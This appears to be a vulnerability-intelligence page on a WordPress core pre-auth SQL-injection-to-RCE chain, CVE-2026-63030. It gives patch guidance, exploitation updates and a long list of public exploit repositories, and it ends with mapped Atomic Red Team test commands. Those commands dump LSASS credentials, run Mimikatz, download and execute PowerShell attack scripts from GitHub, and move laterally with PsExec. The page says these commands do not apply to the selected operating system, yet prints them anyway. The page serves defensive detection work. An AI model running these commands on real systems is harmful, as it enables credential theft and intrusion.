CVE-2026-63030
Overview
This vulnerability is a SQL injection rooted in a route confusion issue within the WordPress REST API batch endpoint. The flaw arises from improper handling of the author__not_in parameter in WP_Query, which allows crafted queries to bypass intended filtering. The affected component is the REST API batch endpoint in WordPress versions 6.9.x prior to 6.9.5 and 7.0.x prior to 7.0.2, where route resolution errors enable injection of malicious SQL commands.
Vulnerability Description
WordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint route confusion issue which, combined with the author__not_in WP_Query SQL Injection (CVE-2026-60137), could allow an attacker to perform SQL Injection and achieve Remote Code Execution.
Impact
An unauthenticated attacker can exploit this vulnerability to perform arbitrary SQL injection on the WordPress database, potentially leading to full remote code execution on the underlying server. This enables compromise of sensitive data, unauthorized administrative access, and complete system takeover. No prior authentication or user interaction is required, making the attack feasible against publicly accessible WordPress installations, resulting in critical business impact including data breaches and service disruption.
Solution
Apply the official patches released by WordPress in versions 6.9.5 and 7.0.2 as detailed in the vendor advisory at https://wordpress.org/news/2026/07/wordpress-7-0-2-release/. These updates address the REST API route confusion and sanitize the author__not_in parameter to prevent SQL injection. Administrators should prioritize upgrading affected WordPress instances to these versions without delay to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a critical flaw in specific versions of WordPress, particularly within the REST API batch endpoint. This issue arises from a route confusion that can be exploited when combined with an existing SQL injection vulnerability related to the author__not_in parameter in WP_Query. The combination of these two vulnerabilities creates a pathway for an attacker to execute arbitrary SQL commands, potentially leading to remote code execution. The implications of this flaw are severe, as it allows unauthorized users to manipulate the database directly, which could result in data breaches, unauthorized access to sensitive information, or complete system compromise.
Attack vectors for this vulnerability are multifaceted. An attacker could leverage the REST API to send crafted requests that exploit the route confusion, redirecting the request to unintended endpoints. By doing so, they can inject malicious SQL code through the author__not_in parameter, which is not adequately sanitized. This exploitation could occur through various means, including automated scripts targeting vulnerable WordPress installations or through social engineering tactics that trick administrators into executing malicious payloads. Given the widespread use of WordPress for content management, the potential for mass exploitation is significant, especially if the affected versions are not promptly updated.
The real-world impact of this vulnerability can be profound, particularly for businesses that rely on WordPress for their online presence. Successful exploitation could lead to unauthorized access to customer data, including personal and financial information, resulting in regulatory penalties and reputational damage. Additionally, the ability to execute arbitrary code could allow attackers to deploy malware, create backdoors, or even take control of the server, leading to prolonged downtime and loss of trust from users. The financial implications of such breaches can be staggering, with costs associated with incident response, legal liabilities, and loss of business often reaching into the millions.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating WordPress installations to the latest versions is crucial, as updates often include patches for known vulnerabilities. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests before they reach the application layer. Monitoring logs for unusual API activity or SQL error messages can also aid in early detection of exploitation attempts. Furthermore, conducting regular security audits and penetration testing can help identify weaknesses in the system that may not be immediately apparent, allowing for proactive remediation.
In conclusion, the vulnerability within the REST API of specific WordPress versions poses a significant threat to the security of web applications built on this platform. The potential for SQL injection and remote code execution highlights the importance of maintaining up-to-date software and implementing robust security measures. Organizations must remain vigilant and proactive in their security practices to mitigate the risks associated with such vulnerabilities, ensuring the integrity and confidentiality of their data and maintaining the trust of their users.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-63030, highlighted by the emergence of multiple new proof-of-concept exploits publicly available on GitHub. This development signals a shift from theoretical risk to active exploitation attempts in the wild. Our telemetry indicates a significant expansion in the exploit landscape, with attackers leveraging the REST API batch endpoint confusion in conjunction with the author__not_in SQL injection to achieve remote code execution on vulnerable WordPress instances. Although the EPSS score remains low due to limited broad-scale exploitation data, the critical CVSS rating of 9.8 underscores the high-impact nature of this vulnerability. For defenders, this means the window for proactive detection and mitigation is narrowing as adversaries gain accessible tools to weaponize this flaw. The increased visibility of exploit code lowers the barrier to entry for less sophisticated threat actors, potentially accelerating attack frequency and diversity. Consequently, the threat level associated with CVE-2026-63030 has escalated from a latent concern to an active and urgent risk requiring heightened vigilance.
Update 2 — July 25, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-63030, accompanied by a significant broadening of the exploit landscape. New proof-of-concept tools have emerged publicly, lowering the technical barrier for adversaries to weaponize this vulnerability in conjunction with CVE-2026-60137. This development is underscored by the vulnerability’s recent inclusion in the CISA KEV catalog, signaling formal recognition of its criticality and prioritization for remediation. Additionally, the vulnerability’s EPSS score has surged to near certainty of exploitation, reflecting sustained and widespread attacker interest. Our telemetry indicates that this surge is stable but persistent, suggesting that threat actors have integrated this exploit into their operational toolkits rather than conducting ephemeral tests. The convergence of these factors elevates the threat level from a latent critical risk to an active and pervasive exploitation threat. For defenders, this means that detection and response efforts must adapt to a rapidly evolving threat environment where automated and bulk exploitation attempts are increasingly common, amplifying the potential impact on unpatched WordPress environments.
Update 3 — August 14, 2026
CSURFACE threat intelligence has detected a moderate increase in exploitation attempts targeting CVE-2026-63030, accompanied by the emergence of a new Metasploit module that significantly lowers the technical barrier for attackers. Although the overall exploitation trend remains relatively stable, the availability of this automated tool is likely to accelerate adversary adoption and broaden the attacker base beyond highly skilled actors. This development is particularly consequential given the critical severity of the vulnerability and its potential to enable remote code execution through SQL injection. While the EPSS score shows a slight decline, the practical ease of exploitation introduced by the Metasploit module elevates the operational risk. Defenders should anticipate a gradual rise in opportunistic attacks leveraging this module, increasing the urgency for timely patching and enhanced detection capabilities. Consequently, the threat level for unpatched WordPress environments should be reassessed upward to reflect a growing and more accessible exploitation landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wordpress | Wordpress | All |
cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE
exploits/multi/http/wp_batch_desync_rce
|
Adam Kues, TF1T, dtro +2 | Unknown | - | View |
GitHub PoCs (77)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sowarma/wp2shell-PoC
CVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept
|
sowarma | 914 | 215 | 2026-08-05 | View |
|
Icex0/wp2shell-poc
wp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain
|
Icex0 | 753 | 170 | 2026-07-17 | View |
|
0xsha/wp2shell
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core
|
0xsha | 102 | 29 | 2026-07-18 | View |
|
dinosn/wp2shell-lab
Non-destructive detector + Docker lab for wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 autho...
|
dinosn | 56 | 18 | 2026-07-18 | View |
|
ZephrFish/wp2shell-scanner
CVE-2026-63030, CVE-2026-60137, wp2shell scanner
|
ZephrFish | 55 | 10 | 2026-07-17 | View |
|
mcipekci/wp2shell
Pre-auth RCE PoC for WordPress core — chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 ...
|
mcipekci | 15 | 8 | 2026-07-22 | View |
|
NULL200OK/WP2Shell
WP2Shell - CVE-2026-63030 / CVE-2026-60137 This tool exploits a critical SQL injection vulnerability in the WordPress RE...
|
NULL200OK | 15 | 5 | 2026-07-18 | View |
|
mhtsec/CVE-2026-63030
WordPress 未授权RCE EXP | CVE-2026-63030
|
mhtsec | 12 | 5 | 2026-07-18 | View |
|
47Cid/wp2shell-lab
Educational PoC + lab for CVE-2026-63030 + CVE-2026-60137: pre-auth SQLi in WordPress core via REST batch-route confusio...
|
47Cid | 14 | 2 | 2026-07-18 | View |
|
securelayer7/WordPresShell
Pre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)
|
securelayer7 | 12 | 1 | 2026-07-18 | View |
|
ikow/wp2shell
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.
|
ikow | 10 | 2 | 2026-07-19 | View |
|
4minx/CVE-2026-63030
CVE-2026-63030 (wp2shell) POC.
|
4minx | 9 | 2 | 2026-07-18 | View |
|
bahartanir/wp2shell-scanner
CVE-2026-63030 / CVE-2026-60137 - WordPress pre-auth RCE scanner
|
bahartanir | 8 | 2 | 2026-07-19 | View |
|
attackercan/wp2shell-poc2
CVE-2026-63030
|
attackercan | 6 | 4 | 2026-07-17 | View |
|
ekomsSavior/wp2shell
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
|
ekomsSavior | 8 | 2 | 2026-07-18 | View |
|
J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t
A fully red-team(offensive security) weaponized variant of wp2shell, built for authorized penetration testing & educatio...
|
J4ck3LSyN-Gen2 | 6 | 2 | 2026-07-18 | View |
|
fullhunt/wp2shell-scan
A scanner and proof-of-concept toolkit for CVE-2026-63030 (wp2shell) - pre-authenticated remote code execution in WordPr...
|
fullhunt | 5 | 2 | 2026-07-18 | View |
|
Lutfifakee-Project/wp2shell
wp2shell - WordPress CVE-2026-63030 Exploit & Scanner
|
Lutfifakee-Project | 6 | 1 | 2026-07-18 | View |
|
mverschu/CVE-2026-63030
PoC Exploit of WordPress Core Unauthenticated RCE known as WP2Shell
|
mverschu | 4 | 2 | 2026-07-18 | View |
|
rechandra/wp2exp-2026
WordPress All-in-One Exploit Framework — detector, scanner, enumerator, exploit, escalation. 10 CVEs from the 2026-08 wa...
|
rechandra | 5 | 0 | 2026-08-04 | View |
|
InstaWP/wp2shell-scan
Detect & clean up wp2shell (CVE-2026-63030) WordPress compromise — bulk-runnable, read-only by default
|
InstaWP | 5 | 0 | 2026-07-19 | View |
|
Senanfurkan/wordpress-cve-2026-63030
Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Det...
|
Senanfurkan | 5 | 0 | 2026-07-18 | View |
|
M4xSec/wp2shell-Exploit-Waf-Bypass
WordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modul...
|
M4xSec | 4 | 0 | 2026-08-08 | View |
|
GhostInExile/CVE-2026-63030-Wp2Shell
WordPress REST API SQLi to RCE PoC (CVE-2026-63030 & CVE-2026-60137)
|
GhostInExile | 4 | 0 | 2026-07-20 | View |
|
own2pwn-fr/wp2shell-detect
Blackbox, non-intrusive detector for wp2shell (WordPress core pre-auth RCE, CVE-2026-63030 / CVE-2026-60137). Detection ...
|
own2pwn-fr | 4 | 0 | 2026-07-18 | View |
|
johnlodan/wp2shell-rce
WordPress CVE-2026-63030 and CVE-2026-60137 security tool for detecting exposure to the WP2Shell pre-authentication RCE ...
|
johnlodan | 3 | 0 | 2026-08-02 | View |
|
imXur/WordPress-CVE-2026-63030-Analysis
Technical analysis, root cause breakdown, and non-destructive detection methodology for CVE-2026-63030.
|
imXur | 3 | 0 | 2026-07-25 | View |
|
lucifer0xf/wp2shell-Wordpress-TOWN
Unauthenticated Remote Code Execution (RCE) in WordPress Core allows attackers to execute arbitrary code without logging...
|
lucifer0xf | 2 | 1 | 2026-07-20 | View |
|
Crypto-Cat/wp2shell
PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell
|
Crypto-Cat | 3 | 0 | 2026-07-19 | View |
|
JohenLastGen-JLG/wp2shell
wp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137)
|
JohenLastGen-JLG | 2 | 1 | 2026-07-18 | View |
|
BytesPulse-OE/wp2shell-Hestia-Scanner
Read-only WordPress security scanner for HestiaCP servers. Detects wp2shell compromise indicators (CVE-2026-63030 / CVE-...
|
BytesPulse-OE | 2 | 0 | 2026-07-27 | View |
|
Ch4120N/CVE-2026-63030
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept
|
Ch4120N | 2 | 0 | 2026-07-20 | View |
|
joaovicdev/EXPLOIT-CVE-2026-63030
|
joaovicdev | 1 | 1 | 2026-07-20 | View |
|
vulnquest58/PressVector
PressVector - Advanced WordPress Vulnerability Scanner CVE-2026-63030 (REST batch route confusion) / CVE-2026-60137 (SQL...
|
vulnquest58 | 1 | 1 | 2026-07-19 | View |
|
hidden-investigations/wp2shell-scanner
WordPress wp2shell vulnerability-chain scanner for CVE-2026-63030 and CVE-2026-60137, with active detection, optional Po...
|
hidden-investigations | 1 | 1 | 2026-07-19 | View |
|
4B3R4M4-607D/CVE-2026-63030-POC
CVE-2026-63030 / wp2shell
|
4B3R4M4-607D | 2 | 0 | 2026-07-19 | View |
|
c0gnit00/Wp2Shell
Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137
|
c0gnit00 | 0 | 2 | 2026-07-19 | View |
|
ebrasha/abdal-cve-2026-63030
Abdal CVE-2026-63030 is a professional WordPress vulnerability scanner designed to detect exposure to CVE-2026-63030 thr...
|
ebrasha | 2 | 0 | 2026-07-18 | View |
|
mhassani97/cve-2026-63030-lab
wp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain
|
mhassani97 | 0 | 1 | 2026-08-20 | View |
|
SentinelXofficial/sxwp2shell
WordPress wp2shell pre-auth RCE exploit kit (CVE-2026-63030 + CVE-2026-60137)
|
SentinelXofficial | 1 | 0 | 2026-07-20 | View |
|
0xjessie21/wp2shell-checker
WordPress Core Unauthenticated RCE (CVE-2026-63030, CVE-2026-60137)
|
0xjessie21 | 1 | 0 | 2026-07-20 | View |
|
ZenithGenius/wordpress-batch-rce-lab
CVE-2026-63030: WordPress REST batch-endpoint array desync. Mechanism, detection, mitigation, and a safe reproduction la...
|
ZenithGenius | 1 | 0 | 2026-07-19 | View |
|
eyesecurity/wp2shell-compromise-scanner-plugin
Read-only WordPress plugin that scans for artifacts of the wp2shell exploit chain (CVE-2026-63030 / CVE-2026-60137)
|
eyesecurity | 0 | 1 | 2026-07-19 | View |
|
administrator-01001/CVE-2026-63030
Proof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress (versions 6.9.0 through 7.0...
|
administrator-01001 | 1 | 0 | 2026-07-20 | View |
|
0xBlackash/CVE-2026-63030
CVE-2026-63030
|
0xBlackash | 1 | 0 | 2026-07-18 | View |
|
gbrsh/CVE-2026-63030
A critical unauthenticated "remote code execution" vulnerability affecting WordPress Core
|
gbrsh | 1 | 0 | 2026-07-18 | View |
|
CybersecSpirit/CVE-2026-63030
|
CybersecSpirit | 0 | 1 | 2026-07-18 | View |
|
0xWhoknows/wp2shell
Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-...
|
0xWhoknows | 1 | 0 | 2026-07-18 | View |
|
DeadExpl0it/wp2shell-poc
wp2shell — WordPress Core Pre-Auth RCE Chain poc for CVE-2026-63030 and CVE-2026-60137
|
DeadExpl0it | 0 | 0 | 2026-08-21 | View |
|
TranDongA3/POC-CVE-2026-63030-CVE-2026-60137-
|
TranDongA3 | 0 | 0 | 2026-08-19 | View |
|
g0d150ne/WP2Shell
WP2Shell is a powerful and modular exploit framework that combines two critical WordPress vulnerabilities (CVE-2026-6303...
|
g0d150ne | 0 | 0 | 2026-08-09 | View |
|
AnggaTechI/CVE-2026-63030
WordPress Core Pre-Auth RCE — Batch Route Confusion + SQL Injection
|
AnggaTechI | 0 | 0 | 2026-08-05 | View |
|
minwunn/wp2shell-CVE-2026-63030
|
minwunn | 0 | 0 | 2026-08-05 | View |
|
x-znn/CVE-2026-63030
|
x-znn | 0 | 0 | 2026-08-04 | View |
|
Procjevt/CVE-2026-63030
|
Procjevt | 0 | 0 | 2026-08-03 | View |
|
Industri4l-H3ll-Xpl0it3rs/CVE-2026-63030-WP2Shell
CVE-2026-63030 Exploit | by gr1tx
|
Industri4l-H3ll-Xpl0it3rs | 0 | 0 | 2026-07-30 | View |
|
yuag/wp2shell
CVE-2026-63030 + CVE-2026-60137+poc
|
yuag | 0 | 0 | 2026-07-27 | View |
|
shinthink/CVE-2026-63030
WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)
|
shinthink | 0 | 0 | 2026-07-24 | View |
|
Giangdurian/CVE-2026-63030-CVE-2026-60137
|
Giangdurian | 0 | 0 | 2026-07-24 | View |
|
Iqbalx7/wp2shell
unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137)
|
Iqbalx7 | 0 | 0 | 2026-07-20 | View |
|
razureink/cve-2026-63030_60137-wordpress_rce_reproduction
CVE Reproduction: cve-2026-63030_60137-wordpress_rce_reproduction
|
razureink | 0 | 0 | 2026-07-23 | View |
|
gagaltotal/CVE-2026-63030-CVE-2026-60137-wp2shell-poc
CVE-2026-63030 & CVE-2026-60137 Wp2shell Poc
|
gagaltotal | 0 | 0 | 2026-07-22 | View |
|
raphy76/wp2shell-poc-fulljs
full javascript reproduction of CVE-2026-63030 (author_exclude, author__not_in and misalignment between validations and ...
|
raphy76 | 0 | 0 | 2026-07-22 | View |
|
Adrees-Basheer/wp2shell-vulnerability-scanner
Scan WordPress installations for wp2shell vulnerabilities (CVE-2026-63030 + CVE-2026-60137). Identifies full RCE and SQL...
|
Adrees-Basheer | 0 | 0 | 2026-07-22 | View |
|
wn-iqbal/wp2shell
unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137)
|
wn-iqbal | 0 | 0 | 2026-07-20 | View |
|
Bhanunamikaze/WP2Shell-CVE-2026-63030-POC
PoC detector & safe validator for the WP2Shell WordPress vulnerability chain: CVE-2026-63030 (REST batch-route confusion...
|
Bhanunamikaze | 0 | 0 | 2026-07-21 | View |
|
ASYquan/wp2shell-cf-WAF-bypass
wp2shell PoC with Cloudflare WAF bypass via body padding (CVE-2026-63030)
|
ASYquan | 0 | 0 | 2026-07-20 | View |
|
skelersecurity/wordpress-skelersecurity-core-security-CVE-2026-63030
The wp2shell vulnerability chain represents one of the most significant WordPress Core security issues in recent years. ...
|
skelersecurity | 0 | 0 | 2026-07-19 | View |
|
Lukols-Dev/wp-cve-2026-63030-check
Non-intrusive exposure checker for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 / CVE-2026-60137).
|
Lukols-Dev | 0 | 0 | 2026-07-19 | View |
|
ananay/wp2shell-lab
Validation target: minimal WordPress core slice reproducing the wp2shell (CVE-2026-63030 + CVE-2026-60137) REST-to-SQLi ...
|
ananay | 0 | 0 | 2026-07-19 | View |
|
0xh7ml/CVE-2026-63030
|
0xh7ml | 0 | 0 | 2026-07-19 | View |
|
TomorrowX6/CVE-2026-63030-poc
|
TomorrowX6 | 0 | 0 | 2026-07-19 | View |
|
ChiefYoru/CVE-2026-63030_PoC
CVE-2026-63030 - WordPress Core Pre-Auth RCE Mass Exploit
|
ChiefYoru | 0 | 0 | 2026-07-18 | View |
|
zi3lak/wp2shell_scanner
Non-intrusive detection scanner for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 + CVE-2026-60137). Detecti...
|
zi3lak | 0 | 0 | 2026-07-18 | View |
|
mrx-arafat/CVE-2026-63030-POC
|
mrx-arafat | 0 | 0 | 2026-07-18 | View |
|
kulichr/wp2shell
Non-intrusive checker for CVE-2026-63030 / CVE-2026-60137 ("wp2shell"), a pre-authentication RCE chain in WordPress core...
|
kulichr | 0 | 0 | 2026-07-18 | View |
|
tcyph3r/wp2shell-cve-2026-63030-root-cause
|
tcyph3r | 0 | 0 | 2026-07-18 | View |
Threat Feed
34 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed — vendor: WordPress, product: Core
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-105 | HTTP Request Splitting |
30%
|
Medium | High | |
| CAPEC-273 | HTTP Response Smuggling |
30%
|
Medium | High | |
| CAPEC-34 | HTTP Response Splitting |
30%
|
Medium | High |
Red Team Playbook
108 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('#{mimurl}'); Invoke-Mimikatz -DumpCreds"
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
